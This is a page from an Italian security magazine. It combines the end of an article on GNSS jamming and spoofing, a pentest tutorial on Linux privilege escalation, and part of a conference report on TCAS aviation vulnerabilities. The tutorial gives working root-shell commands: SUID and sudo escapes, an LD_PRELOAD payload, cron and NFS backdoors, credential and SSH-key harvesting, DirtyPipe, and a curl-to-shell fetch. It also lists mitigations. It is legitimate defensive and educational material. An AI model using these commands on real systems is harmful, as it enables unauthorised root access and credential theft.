Anche in questo conflitto, come nel precedente, le interferenze GNSS non hanno risparmiato i sistemi di connettività. Nel gennaio 2026, prima dell’Operazione Epic Fury, durante le proteste interne in Iran, i terminali Starlink nella regione sono stati colpiti da interferenza elettronica, documentata dalla Secure World Foundation nel report Global Counterspace Capabilities 2026, con perdite di pacchetti tra il 30 e l’80% nelle aree interessate. SpaceX ha rilasciato un aggiornamento software correttivo e ha attivato servizi gratuiti per gli utenti iraniani. I sistemi di guerra elettronica impiegati erano gli jammer russi Murmansk-BN, sistemi mobili con copertura fino a circa 300 km di raggio.

Il Mar Baltico: guerra ibrida ai confini d’Europa

Se il Medio Oriente è il teatro delle interferenze più acute, il Mar Baltico è quello delle più sistematiche. Uno studio peer-reviewed pubblicato nel marzo 2026 su GPS Solutions (Springer Nature), a firma di Gattis, Cydejko e Akos, condotto a bordo della nave da ricerca Imor nei pressi della costa polacca, ha localizzato con tecnica TDOA (Time Difference of Arrival) un emettitore di spoofing circolare e un jammer separato, attivi tra aprile e giugno 2025 nel Golfo di Danzica. L’area di Kaliningrad, exclave russa incuneata tra Polonia e Lituania, è il nodo operativo centrale di questa attività, confermata da ricercatori indipendenti, autorità nazionali e monitoraggio satellitare.

Sul piano politico, i numeri sono eloquenti. La Lituania ha registrato oltre 1.000 casi di interferenza GPS nel solo mese di giugno 2025, ventidue volte in più rispetto allo stesso mese del 2024, secondo il regolatore delle comunicazioni del Paese. In Estonia, le autorità hanno riferito che l’85% dei voli ha subito interferenze. Nel gennaio 2026, 13 nazioni costiere del Baltico e del Mare del Nord più l’Islanda hanno pubblicato una lettera aperta alla comunità marittima internazionale denunciando la «crescente interferenza GNSS» come violazione del diritto internazionale, sollecitando azioni concrete di enforcement. Una risposta politica congiunta di una coalizione così ampia è rara nel dominio delle interferenze elettroniche: è la misura della gravità raggiunta dalla situazione.

Il dato commerciale sottostante è altrettanto rilevante: la regione del Baltico gestisce circa il 15% del cargo shipping mondiale. Non è una statistica astratta: è la misura di quanto del commercio globale transita attraverso rotte dove la navigazione satellitare è sistematicamente compromessa.

Tra i casi di maggiore visibilità istituzionale, il 1° settembre 2025 l’aeromobile della Presidente della Commissione Europea Ursula von der Leyen ha subito interferenze GPS nello spazio aereo bulgaro durante una visita ufficiale negli Stati membri orientali dell’UE. Le autorità bulgare hanno sospettato interferenze di origine russa. La portavoce della Commissione, Paula Pinho, ha dichiarato che «dall’inizio della guerra e dell’invasione russa dell’Ucraina, a partire dal febbraio 2022, vi è stato un aumento considerevole e molto evidente del jamming GNSS». In precedenza, anche l’aeromobile dell’allora Ministro della Difesa britannico Grant Shapps aveva subito interferenze nei pressi dell’exclave di Kaliningrad.

La dimensione industriale: logistica, supply chain e cargo crime

Il GPS spoofing non è solo un problema militare o aeronautico. È entrato, con effetti concreti e misurabili, nel circuito del crimine organizzato e della vulnerabilità commerciale.

Secondo i dati del National Insurance Crime Bureau statunitense (NICB), il valore del cargo rubato nel 2025 avrebbe registrato un aumento del 22%, con un pattern tecnologico ricorrente: ladri professionisti usano jammer GPS per impedire ai dispositivi di tracciamento dei container di comunicare la propria posizione fino a quando i marcatori non sono stati disattivati o rimossi.

In schemi più sofisticati, la combinazione di spoofing, VoIP e identità sintetiche consente di impersonare spedizionieri e clienti legittimi, manipolando l’intera filiera documentale di una consegna. Il 2026 Maritime Cyber Threat White Paper (CYTUR) segnala che gli incidenti informatici marittimi sono aumentati del 103% nel 2025 rispetto al 2024, con GPS spoofing e jamming in cima alla lista delle tecniche più impiegate nei corridoi ad alto rischio.

In Finlandia, alcune aree agricole risultano letteralmente incoltivabili con mezzi a guida GNSS (trattori e mietitrebbie) a causa della densità delle interferenze provenienti dalle installazioni di guerra elettronica russe lungo il confine. È un danno economico reale e quotidiano, che non colpisce un’infrastruttura critica in senso tradizionale ma il tessuto produttivo ordinario di un Paese.

Un incidente di carattere diverso, ma ugualmente rivelatore, si è verificato nel maggio 2025: la portacontainer MSC Antonia da 912 piedi si è incagliata sulle Eliza Shoals nei pressi del porto di Jedda, nel Mar Rosso. Le analisi successive, condotte dal vice presidente di Pole Star Global e da Windward AI, hanno attribuito il sinistro all’interferenza GPS che aveva alterato la posizione del navigatore di bordo. È il segnale che l’impatto del jamming si estende ben oltre le zone di conflitto attivo.

Come si rileva e come ci si difende

La sfida tecnica dello spoofing è asimmetrica: attaccare è relativamente economico e accessibile, difendersi richiede investimenti significativi in hardware, software e formazione. Un jammer di base costa poche centinaia di euro; le antenne CRPA (Controlled Reception Pattern Antennas), progettate per resistere a jamming e spoofing attraverso beamforming adattivo, hanno un costo ordini di grandezza superiore e richiedono processi di certificazione lunghi e complessi.

Come documentato nel nostro approfondimento sul rilevamento del GPS spoofing, le tecniche di detection disponibili sono molteplici ma ciascuna presenta limitazioni operative specifiche.

Le principali tecniche di detection e mitigation attualmente in uso o in sviluppo comprendono:

Inconsistency monitoring. Il confronto continuo tra la posizione GNSS e quella ricavata da sensori inerziali (INS), radioaiuti terrestri (VOR/DME) e dati ATC. Una discrepanza improvvisa è il segnale di allarme più immediato, ma richiede che il pilota o l’operatore stia attivamente monitorando fonti multiple. Sulle mappe di tracciamento marittimo, i pattern a crop circle sono l’indizio visivo più immediato di spoofing in atto.

Signal authentication con OSNMA di Galileo. Il meccanismo più promettente sul piano architetturale. Il 24 luglio 2025, EUSPA ha lanciato l’OSNMA (Open Service Navigation Message Authentication), un sistema che consente agli utenti civili di verificare l’autenticità dei dati ricevuti e rilevare eventuali manipolazioni in tempo reale. Il 9 settembre 2025, la Commissione Europea ha annunciato l’implementazione di un ulteriore servizio anti-spoofing con segnali cifrati per usi governativi e un servizio pianificato di monitoraggio e localizzazione delle interferenze a partire dal 2026. Il GPS americano, tuttavia, non include ancora tecnologie counter-spoofing nel suo programma corrente: implementare capacità di autenticazione per il segnale WAAS (Wide Area Augmentation System) dell’aviazione civile rimane una raccomandazione non ancora eseguita.

Multi-constellation receivers. L’utilizzo simultaneo di GPS, Galileo, GLONASS e BeiDou riduce significativamente la superficie d’attacco. Compromettere simultaneamente quattro costellazioni con frequenze diverse richiede risorse considerevolmente maggiori rispetto all’attacco su singola costellazione.

Machine learning per la detection distribuita. Sistemi come CMCU e RESIST, descritti in una ricerca NATO presentata nel 2025, combinano dati da sensori a terra e da costellazioni LEO per rilevare e localizzare emettitori di jamming e spoofing in tempo reale, anche in regioni prive di infrastruttura terrestre dedicata. La tecnica TDOA impiegata nello studio GPS Solutions del marzo 2026 ha dimostrato la fattibilità della localizzazione in tempo reale degli emettitori direttamente dal mare.

eLoran e sistemi terrestri di backup. Nel dicembre 2025, la Swedish Maritime Administration (Sjöfartsverket) ha attivato il primo di dieci beacon radio completamente terrestri, parte di un progetto di navigazione di riserva per le acque svedesi. Il sistema eLoran, evoluzione del vecchio LORAN-C, è considerato da molti esperti la soluzione di backup più matura e immediatamente scalabile, indipendente dalla costellazione satellitare. È un segnale significativo che sia la Russia (con il proprio sistema eChayka) sia la Cina (che nel 2024 ha completato una rete eLoran nazionale per le infrastrutture critiche) si siano già dotate di alternative proprie: chi usa il GPS come arma conosce le sue vulnerabilità.

La risposta internazionale: tra dichiarazioni e azioni concrete

Sul piano normativo e istituzionale, il 2025-2026 ha visto un’accelerazione significativa, sebbene ancora non proporzionale alla portata della minaccia.

Nel marzo 2025, ICAO, ITU e IMO hanno emesso una dichiarazione congiunta sulle interferenze GNSS come rischio per la sicurezza aeronautica e marittima: un’iniziativa senza precedenti nella sua dimensione tripartita. Nell’ottobre 2025, l’Assemblea ICAO ha approvato una risoluzione che condanna esplicitamente le interferenze GNSS provenienti da Russia e Corea del Nord come violazioni della Convenzione di Chicago del 1944. L’ITU ha nuovamente sollecitato la Russia a «cessare immediatamente» le interferenze che colpiscono i servizi di sicurezza in Estonia, Finlandia, Lettonia e Lituania.

Nel settembre 2025, il Dipartimento di Stato americano ha rimosso le antenne CRPA dalla lista ITAR (International Traffic in Arms Regulations), facilitandone l’esportazione e accelerandone potenzialmente la diffusione commerciale. La FAA ha rilasciato la GPS/GNSS Interference Resource Guide v1.1, raccomandando ai piloti procedure sistematiche di cross-check e training specifico sul riconoscimento delle anomalie GNSS. Nel giugno 2025, EASA e IATA hanno pubblicato congiuntamente un piano complessivo per mitigare i rischi da interferenza GNSS, articolato in quattro aree: miglioramento della raccolta dati, misure di prevenzione, gestione dello spazio aereo e coordinamento interistituzionale.

La realtà è che tra le risoluzioni internazionali e la capacità operativa di protezione resta ancora una distanza considerevole. Come ha osservato Todd Humphreys, professore di ingegneria aerospaziale all’Università del Texas e direttore del Radionavigation Laboratory, in un’intervista del 2025: «Ormai abbiamo ricevuto il nostro campanello d’allarme. È un imperativo indurire aviazione, navigazione marittima e telecomunicazioni contro il jamming e lo spoofing GPS».

Il volo 8243: quando il jamming diventa mortale

Tra tutti gli incidenti del periodo recente, quello che ha imposto il tema nell’agenda della sicurezza internazionale con la forza di una tragedia è il volo Azerbaijan Airlines J2-8243, un Embraer E190AR precipitato il 25 dicembre 2024 nei pressi di Aktau, in Kazakhstan, con 38 vittime su 67 persone a bordo.

Il volo era partito da Baku diretto a Grozny, in Russia. Alle 08:25 UTC, mentre l’aeromobile entrava nello spazio aereo russo nelle vicinanze di Grozny, l’equipaggio ha segnalato la perdita degli ausili GPS. I dati di Flightradar24 confermano interruzioni multiple delle trasmissioni ADS-B (che dipendono dal GPS per la posizione) e un periodo di trasmissione di posizione errata tra le 08:37 e le 08:40 UTC, coerente con un evento di spoofing. L’area di Grozny era soggetta a jamming elettronico intensivo da settimane, impiegato dalle autorità russe per contrastare gli attacchi di droni ucraini nella regione.

L’aeromobile, con i sistemi idraulici gravemente danneggiati da quello che le prove successivamente emerse (inclusi documenti militari russi trapelati nel luglio 2025 e riportati da Minval Politika e Ukrainska Pravda) indicano essere il colpo di un missile del sistema Pantsir-S1 russo, probabilmente scagliato in condizioni di identificazione degradata a causa delle interferenze ai segnali ADS-B, ha tentato avvicinamenti strumentali a Grozny in condizioni di meteo avverse, per poi deviare verso Aktau dove è precipitato in fase di atterraggio di emergenza. Il rapporto FAA aggiornato al 2026 cita esplicitamente il volo 8243 come caso di riferimento per l’interazione letale tra jamming GNSS, sistemi di difesa aerea e aviazione civile.

La dipendenza che non vediamo

C’è un tema che attraversa ogni discussione tecnica sul GPS spoofing e che raramente viene esplicitato con sufficiente chiarezza: la profondità della dipendenza delle infrastrutture moderne dal segnale satellitare va ben oltre la navigazione.

I sistemi GNSS non forniscono solo coordinate geografiche. Forniscono tempo. I mercati finanziari usano il timing GNSS per sincronizzare le transazioni ad alta frequenza. Le reti di telecomunicazione, incluse quelle mobili 4G e 5G, usano il segnale GPS come riferimento di sincronizzazione. Le reti elettriche smart grid dipendono dal PNT (Positioning, Navigation and Timing) per coordinare la distribuzione del carico. I sistemi di emergenza basano il loro instradamento su coordinate GNSS in tempo reale.

Uno spoofing efficace non disorienta solo una nave o un aereo: può introdurre drift temporali nei sistemi di clearing bancario, desincronizzare porzioni di rete mobile, alterare i log di sistema con timestamp falsificati. Una ricerca dell’Aerospace Corporation, citata nel report Secure World Foundation Global Counterspace Capabilities 2026, ha dimostrato che il jamming intenso sull’Ucraina ha creato «un buco gigante» nella copertura GPS per i piccoli satelliti in orbita LEO dotati di ricevitori di bordo. Per la prima volta nella storia documentata, l’interferenza terrestre ha compromesso il segmento spaziale stesso.

Conclusioni: il lusso finito della navigazione indisturbata

In un’intervista raccolta dalla CNN nel marzo 2026, il ricercatore Ramsey Faragher, coautore di un report pubblicato nel gennaio 2026 sull’impatto delle interferenze GNSS sulla sicurezza marittima, ha sintetizzato il momento storico con una precisione difficile da migliorare: «L’era lussuosa in cui quei segnali non venivano intenzionalmente manomessi è finita».

Il GPS spoofing non è una minaccia futura: è la condizione operativa presente di chiunque dipenda dalla navigazione satellitare in un arco geografico che va dall’Artico al Golfo Persico, dal Baltico al Mar Rosso. I dati del Rapporto IATA 2025, pubblicato il 9 marzo 2026, sono inequivocabili: spoofing +193%, jamming +67% rispetto al 2023. L’Operazione Epic Fury, ancora in corso nel Golfo Persico, sta producendo le interferenze GNSS più massicce mai documentate in un singolo teatro operativo.

La risposta non può essere monodimensionale. Richiede autenticazione dei segnali (OSNMA di Galileo è un passo avanti concreto; l’assenza di analoghi per il GPS americano è un ritardo critico), sistemi di navigazione ridondanti e multisorgente, formazione operativa sistematica degli equipaggi, standardizzazione internazionale delle procedure di reporting e una volontà politica, finora ancora insufficiente, di affrontare le responsabilità statali nelle interferenze sistematiche documentate.

Il segnale è fragile. La dipendenza è profonda. La consapevolezza, fortunatamente, sta finalmente crescendo. Ma tra consapevolezza e resilienza c’è ancora una distanza che l’industria, i regolatori e i governi sono chiamati a colmare con urgenza.

https://www.ictsecuritymagazine.com/articoli/gps-spoofing/

La fase di privilege escalation rappresenta uno dei principali fattori di rischio nei test di sicurezza moderni, spesso più determinante dell’accesso iniziale. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito. Secondo il Rapporto Clusit 2025, l’Italia ha registrato 357 incidenti gravi nel 2024, con un incremento del 15,2% rispetto all’anno precedente, e il credential access rappresenta circa il 30% degli eventi rilevati, una base di partenza che rende la post-exploitation, inclusa la privilege escalation, un vettore critico in qualsiasi strategia di difesa.

Il problema che nessuno vuole vedere

C’è una fase del penetration test che molte organizzazioni continuano a sottovalutare. Non è l’accesso iniziale – ormai riconosciuto come critico anche dal management meno tecnico – ma ciò che accade dopo: la capacità di un attaccante di muoversi verticalmente all’interno di un sistema già compromesso, scalando da un account limitato fino ai privilegi di root.

La privilege escalation su Linux è esattamente questa fase. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito.

Questo articolo analizza i vettori di escalation più ricorrenti nella pratica operativa del 2026, con riferimento alle tecniche documentate nei framework MITRE ATT&CK e PTES (Penetration Testing Execution Standard), e con i comandi effettivi utilizzati nei test autorizzati.

Contesto normativo: perché la privilege escalation è rilevante per la compliance

Prima di entrare nel merito tecnico, vale la pena inquadrare il tema in prospettiva normativa.

Il Digital Operational Resilience Act (DORA, Reg. UE 2022/2554), pienamente applicabile dal gennaio 2025 per le entità finanziarie europee, introduce l’obbligo di Threat-Led Penetration Testing (TLPT) basato sul framework TIBER-EU. Questi test richiedono la simulazione realistica di attacchi avanzati – incluse le tecniche di escalation dei privilegi – su sistemi in produzione.

Analogamente, la Direttiva NIS2 (recepita in Italia con il D.Lgs. 138/2024) richiede che le entità essenziali e importanti adottino misure “adeguate e proporzionate” ai rischi specifici identificati, ai sensi dell’Art. 21. La privilege escalation, in questo contesto, non è più una questione puramente tecnica: è un requisito di compliance.

La fase che precede tutto: l’enumerazione sistematica

Un errore frequente, anche tra penetration tester con esperienza, è saltare o comprimere la fase di enumerazione per arrivare più velocemente all’escalation. Il risultato è quasi sempre lo stesso: si perde tempo su vettori che non esistono, mentre quello reale è lì, evidente, in attesa di essere trovato metodicamente.

L’enumerazione di un sistema Linux post-compromissione segue un ordine preciso:

# Identità e contesto dell'utente corrente

id && whoami && groups

# Sistema operativo, versione kernel, architettura

uname -a && cat /etc/os-release && cat /proc/version

# Processi in esecuzione come root

ps aux | grep -v "^\[" | awk '{if($1=="root") print $0}'

# Servizi di rete in ascolto

ss -tulnp

# Scheduled tasks

cat /etc/crontab

ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

crontab -l 2>/dev/null

# Binari con SUID impostato

find / -perm -4000 -user root -type f 2>/dev/null

# File scrivibili da utenti non privilegiati

find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

Strumenti come unix-privesc-check automatizzano questa raccolta e producono un output strutturato che evidenzia le anomalie più significative. Tuttavia, l’automazione non sostituisce la comprensione: un enumeratore automatico può segnalare centinaia di potenziali problemi, ma solo la lettura critica distingue un falso positivo da un vettore reale.

Vettore 1: abuso di binari SUID

Il bit SUID (Set User ID) è un meccanismo del filesystem Unix che permette a un eseguibile di girare con i privilegi del suo proprietario, indipendentemente dall’utente che lo lancia. Quando un binario è di proprietà di root e ha il SUID impostato, chiunque lo esegua acquisisce temporaneamente i privilegi di root per la durata dell’esecuzione.

find / -perm -4000 -user root -type f 2>/dev/null

Il database GTFOBins (gtfobins.github.io) documenta ogni binario Linux noto che può essere sfruttato per l’escalation quando ha SUID impostato. Alcuni esempi pratici:

# find con SUID impostato

/usr/bin/find . -exec /bin/sh -p \; -quit

# python3 con SUID

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# vim con SUID impostato — caso SUID puro (non sudo)

./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Nota: il classico ':!/bin/bash' funziona via sudo ma non preserva l'EUID nel caso SUID puro

# bash con SUID — accesso root immediato

bash -p

Questo vettore è classificato nel framework MITRE ATT&CK come T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid). La sua rilevazione richiede audit periodici dei permessi dei binari, idealmente integrati in pipeline di configuration management.

Vettore 2: configurazioni errate di sudo

Il comando sudo è probabilmente la fonte più ricca di vettori di privilege escalation nei sistemi Linux aziendali.

sudo -l

Le misconfigurazioni più frequenti includono:

NOPASSWD su binari che consentono escape di shell

Configurazioni come:

(ALL) NOPASSWD: /usr/bin/vim

(ALL) NOPASSWD: /usr/bin/less

(ALL) NOPASSWD: /usr/bin/python3

Qualsiasi di questi binari, quando eseguito con sudo, permette di lanciare una shell come root:

sudo vim -c ':!/bin/bash'

sudo less /etc/hosts   # poi digita !bash

sudo python3 -c 'import os; os.system("/bin/bash")'

Preservazione di LD_PRELOAD

Quando /etc/sudoers contiene env_keep+=LD_PRELOAD, è possibile iniettare una libreria condivisa appositamente costruita:

// privesc.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void _init() {

unsetenv("LD_PRELOAD");

setresuid(0, 0, 0);  // copre RUID, EUID e SUID

system("/bin/bash -p");

}

gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so privesc.c

sudo LD_PRELOAD=/tmp/privesc.so <qualsiasi_binario_consentito>

Wildcard nei percorsi

Regole come (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py sono aggirabili:

echo 'import os; os.system("/bin/bash")' > /opt/scripts/exploit.py

sudo /usr/bin/python3 /opt/scripts/exploit.py

Vettore 3: cron job scrivibili

I task pianificati eseguiti come root che referenziano script scrivibili da utenti non privilegiati rappresentano un vettore silenzioso e affidabile.

cat /etc/crontab

ls -la /etc/cron.d/

cat /var/spool/cron/crontabs/root 2>/dev/null

Se un cron job di root esegue /opt/backup.sh e quel file è scrivibile:

ls -la /opt/backup.sh

# -rwxrwxrwx 1 root root

echo 'chmod +s /bin/bash' >> /opt/backup.sh

# Dopo l'esecuzione del cron:

bash -p

# root

Vettore 4: credenziali nei file di configurazione

Nei test su ambienti di produzione reali, questo è statisticamente il vettore con il tasso di successo più elevato.

# Cronologia dei comandi

cat ~/.bash_history

cat /root/.bash_history 2>/dev/null

# File di configurazione applicativi

grep -r "password\|passwd\|secret\|token\|api_key" /var/www/ 2>/dev/null

find /var/www -name ".env" -exec cat {} \; 2>/dev/null

# Chiavi SSH private

find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Variabili d'ambiente dei processi

cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i
"pass\|secret\|key\|token"

Le credenziali trovate nelle applicazioni web sono spesso riutilizzate dall’amministratore di sistema anche per l’account root. Per le tecniche di sfruttamento delle chiavi SSH trovate durante questa fase esistono guide tecniche dedicate che coprono i workflow operativi completi, incluse le metodologie di SSH key hunting documentate da HackIta.

Vettore 5: NFS con no_root_squash

Le condivisioni NFS configurate con no_root_squash in /etc/exports permettono a un utente root su un sistema remoto di operare come root sui file della condivisione montata.

cat /etc/exports

# Esempio vulnerabile:

# /data *(rw,no_root_squash,sync)

# Dal sistema dell'attaccante (come root):

mount -t nfs <target_ip>:/data /tmp/nfsmount

cp /bin/bash /tmp/nfsmount/rootbash

chmod +s /tmp/nfsmount/rootbash

# Sul sistema target:

/data/rootbash -p

# uid=0(root)

Vettore 6: exploit del kernel, ultima risorsa

uname -r

searchsploit linux kernel <versione>

DirtyPipe (CVE-2022-0847), colpisce i kernel dalla 5.8 fino alle versioni immediatamente precedenti alle release in cui la patch è stata distribuita: 5.16.11, 5.15.25 e 5.10.102. I kernel della serie 5.10 e 5.15 antecedenti a queste release sono quindi vulnerabili, non solo quelli della serie 5.16:

gcc -o dirtypipe dirtypipe.c

./dirtypipe /etc/passwd

Queste tecniche devono essere utilizzate esclusivamente in contesti autorizzati e controllati, mai in ambienti di produzione senza esplicita autorizzazione documentata.

Automazione: LinPEAS per assessment ad alta velocità

# Esecuzione diretta

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas_output.txt

I risultati in rosso/giallo indicano alta probabilità di escalation e richiedono analisi manuale approfondita.

Prioritizzazione dei vettori di privilege escalation

Vettore	Affidabilità	Rumore	Impatto sistema	Priorità
Credenziali nei file	Alta	Nessuno	Nessuno	1
sudo misconfiguration	Molto alta	Basso	Minimo	2
SUID binary abuse	Alta	Basso	Minimo	3
Cron job scrivibili	Alta	Nessuno	Minimo	4
NFS no_root_squash	Media	Basso	Minimo	5
Kernel exploit	Variabile	Alto	Potenzialmente alto	6

Mitigazioni: cosa implementare concretamente

Audit periodico dei permessi SUID/SGID, identificare e rimuovere il bit SUID da tutti i binari che non lo richiedono esplicitamente. Integrare questa verifica in pipeline CI/CD o tool di configuration management come Ansible o Puppet.

Review delle policy sudo: applicare il principio del minimo privilegio. Evitare NOPASSWD su binari che permettono escape di shell. Considerare l’uso di Cmnd_Alias per limitare precisamente le operazioni consentite.

Protezione delle credenziali: adottare strumenti di secret management (HashiCorp Vault, AWS Secrets Manager) per eliminare le credenziali in chiaro dai file di configurazione. Implementare la rotazione automatica delle credenziali di servizio.

Configurazione sicura di NFS: rimuovere no_root_squash da tutte le esportazioni. Limitare le esportazioni agli IP strettamente necessari tramite host list esplicite.

Patch management sistematico: mantenere i kernel aggiornati con policy di patching proporzionate al rischio e documentate nelle policy interne, come richiesto dall’approccio “adeguato e proporzionato” dell’Art. 21 NIS2. Per le vulnerabilità critiche con exploit pubblico disponibile, la finestra temporale dovrebbe essere la più breve possibile.

Monitoring delle attività di escalation: implementare regole SIEM per rilevare pattern anomali: esecuzione di comandi come root da utenti non privilegiati, accessi inusuali a /etc/passwd o /etc/shadow, montaggio di share NFS da host non autorizzati.

Conclusione

La privilege escalation su Linux non è un problema di exploit sofisticati o vulnerabilità zero-day. È un problema di configurazione, e le configurazioni errate che la rendono possibile esistono, in forme diverse, nella grande maggioranza dei sistemi Linux mai sottoposti a hardening esplicito.

Nel contesto normativo europeo del 2026 – con DORA operativo per le entità finanziarie e NIS2 che estende i requisiti di testing a un perimetro molto più ampio di organizzazioni – la comprensione di questi vettori non può più essere limitata ai team di offensive security. È una conoscenza che deve permeare i team di IT operations, i security architect e i responsabili della compliance.

La vera domanda non è se questi vettori esistano, ma chi li individuerà per primo.

Fonti

A cura del team di HackIta (https://hackita.it), risorsa italiana di ethical hacking, penetration testing e sicurezza delle reti.

https://www.ictsecuritymagazine.com/articoli/privilege-escalation/

Alla 14ª edizione della Cyber Crime Conference, ospitata a Roma il 6 e 7 maggio 2026 nell’Auditorium della Tecnica, il Prof. Alessio Merlo, Direttore del Centro Alti Studi per la Difesa (CASD, Scuola Superiore Universitaria), ha presentato i risultati di una ricerca condotta dal CASD insieme all’Università di Genova sulle vulnerabilità del Traffic Collision Avoidance System (TCAS), il sistema anticollisione obbligatorio sugli aerei di linea.

L’intervento, intitolato «Breaking TCAS: vulnerabilità e attacchi nella sicurezza aerea», si è mosso su due piani: da un lato l’illustrazione di due distinte vulnerabilità del protocollo TCAS, dall’altro la formulazione di un’ipotesi tecnicamente motivata per spiegare l’incidente avvenuto il 1° marzo 2025 lungo la traiettoria di avvicinamento all’Aeroporto Ronald Reagan di Washington (DCA).

Il contesto: ATC, radar secondario e TCAS

Il controllo del traffico aereo poggia sulla torre di controllo (Air Traffic Control, ATC), che gestisce gli atterraggi tramite il radar primario. Quando un aereo si trova lontano dall’aeroporto, entra in gioco un secondo livello di sorveglianza: il radar secondario, basato sullo scambio di segnali radio in radiofrequenza fra aeromobili. Misurando il tempo di risposta in funzione della velocità della luce, ogni velivolo stima la distanza e la posizione degli altri aerei nelle vicinanze.

Al di sopra del radar secondario opera il TCAS, introdotto circa quarant’anni fa e considerato l’ultima barriera per la prevenzione delle collisioni. Funziona in modo autonomo e genera due tipologie di allerta:

• Traffic Advisory (TA): avviso visivo al pilota della presenza di un altro aereo, con l’indicazione della posizione e dell’altitudine.
• Resolution Advisory (RA): manovra evasiva automatica e coordinata fra due velivoli in rotta di collisione (uno sale, l’altro scende).

Come ha sottolineato Merlo, il protocollo TCAS è stato progettato in un’epoca in cui la cybersecurity non era una priorità di design: non prevede autenticazione, né controllo di integrità, né cifratura.

Iniettare aerei falsi: la prima vulnerabilità

Nel 2023 il gruppo di ricerca del CASD e dell’Università di Genova ha cominciato a studiare la possibilità di iniettare contatti aerei falsi sul radar di un velivolo bersaglio, fino a indurlo a generare TA e RA reali.

L’unica protezione fisica del protocollo era il ritardo fisso di 128 microsecondi previsto dalla modalità Modo S: per far comparire un aeromobile a una distanza più prossima all’aereo sotto attacco rispetto alla posizione reale dell’attaccante, quest’ultimo avrebbe dovuto rispondere a un’interrogazione in tempi più brevi di tale ritardo, anticipando di fatto la risposta legittima. Storicamente, questa barriera temporale aveva reso l’attacco irrealizzabile con hardware comune.

I ricercatori hanno dimostrato che l’evoluzione dell’hardware Software Defined Radio (SDR) ha riscritto lo scenario: oggi l’attacco è realizzabile con apparati dal costo di circa 10.000 euro e funziona fino a 5 chilometri di distanza dall’aereo bersaglio, una portata particolarmente critica nelle fasi di atterraggio.

Disabilitare le RA: l’exploit del Sensitivity Level

La seconda vulnerabilità individuata riguarda il Sensitivity Level (SL), il parametro che regola la soglia di attivazione delle Resolution Advisory. Lo standard prevede che il valore di SL possa essere modificato dalle stazioni di terra in scenari operativi complessi, come gli avvicinamenti in aree congestionate.

Un attaccante può falsificare il comando di terra e impostare SL=0, disabilitando completamente la generazione di RA: il TCAS continua a emettere TA, ma non produce più la manovra evasiva automatica. Il ripristino richiede il riavvio del sistema, un’operazione tutt’altro che banale in volo.

La timeline della responsible disclosure

La scoperta delle vulnerabilità ha innescato un articolato iter di responsible disclosure, che ha coinvolto le United Nations (UN), l’European Union Aviation Safety Agency (EASA), la Federal Aviation Administration (FAA), l’Ente Nazionale per l’Aviazione Civile (ENAC), l’Agenzia per la Cybersicurezza Nazionale (ACN) e il Comando per le Operazioni in Rete (COR).

Le tappe principali:

• Giugno 2023: scoperta delle vulnerabilità.
• Febbraio 2024: sottomissione dell’articolo scientifico.
• Maggio 2024: accettazione del paper.
• Agosto 2024: presentazione a USENIX Security 2024 (Longo, Strohmeier, Russo, Merlo, Lenders, «On a Collision Course: Unveiling Wireless Attacks to the Aircraft Traffic Collision Avoidance System»).
• Gennaio 2025: pubblicazione dell’ICS Advisory CISA, con assegnazione di due CVE.
• Aprile 2025: comunicato stampa e diffusione mediatica, con oltre 60 apparizioni su testate nazionali, regionali e locali.

L’advisory CISA e la valutazione del rischio

Il bollettino ICS della CISA, pubblicato a gennaio 2025, ha ufficializzato le due vulnerabilità:

• CVE-2024-11166 (Sensitivity Level): mitigabile aggiornando gli apparati alla versione ACAS X o il transponder allo standard RTCA DO-181F.
• CVE-2024-9310 (protocollo TCAS): nessuna mitigazione disponibile.

Il documento accompagnava la pubblicazione con una valutazione del rischio improntata alla prudenza: «These vulnerabilities in the TCAS II standard are exploitable in a lab environment. However, they require very specific conditions to be met and are unlikely to be exploited outside of a lab setting». La storia, come si vedrà, ha messo in discussione questa rassicurazione nel giro di poche settimane.

1° marzo 2025: l’incidente di Washington DCA

Il 1° marzo 2025, in una mattinata di buona visibilità, lungo la traiettoria di avvicinamento alla pista 19 dell’Aeroporto Ronald Reagan di Washington sono state registrate numerose segnalazioni di TCAS TA e RA. Gli eventi si sono susseguiti per circa tre ore, dalle 11:10 alle 14:10 UTC.

A oggi la Federal Aviation Administration non ha fornito alcuna spiegazione ufficiale. Le uniche risposte istituzionali sono arrivate da due deputati USA, Rick Larsen e Bennie G. Thompson, Ranking Members delle Commissioni Trasporti e Sicurezza Interna: in una lettera al Congresso del 14 aprile 2025, i due hanno attribuito il «disturbo» a sistemi anti-drone (C-UAS) del Secret Service. L’ipotesi presenta tuttavia un’incongruenza tecnica evidente: i droni non sono dotati di TCAS, e un sistema anti-drone non dovrebbe pertanto interferire con il protocollo TCAS degli aerei di linea.

L’analisi da fonti aperte

Incrociando annunci di posizione, annunci RA e comunicazioni radio reperibili in fonti aperte, il team di Merlo ha ricostruito gli elementi quantitativi dell’evento:

• 10 aerei coinvolti, di cui 8 con RA e 3 con go-around (atterraggio abortito).
• 5 km di visibilità orizzontale.
• Singolo intruso a quota fissa di circa 700 metri, non rilevato né dall’ATC né visivamente dai piloti.
• Trasmissione in Modo C (tecnologia legacy rispetto al Modo S), che riporta solo la quota e non la posizione.
• Distanza media indicata dagli annunci RA: circa 400 metri.
• Direzione: tra 315° e 345°, corrispondente a «ore 11» rispetto ai velivoli coinvolti.

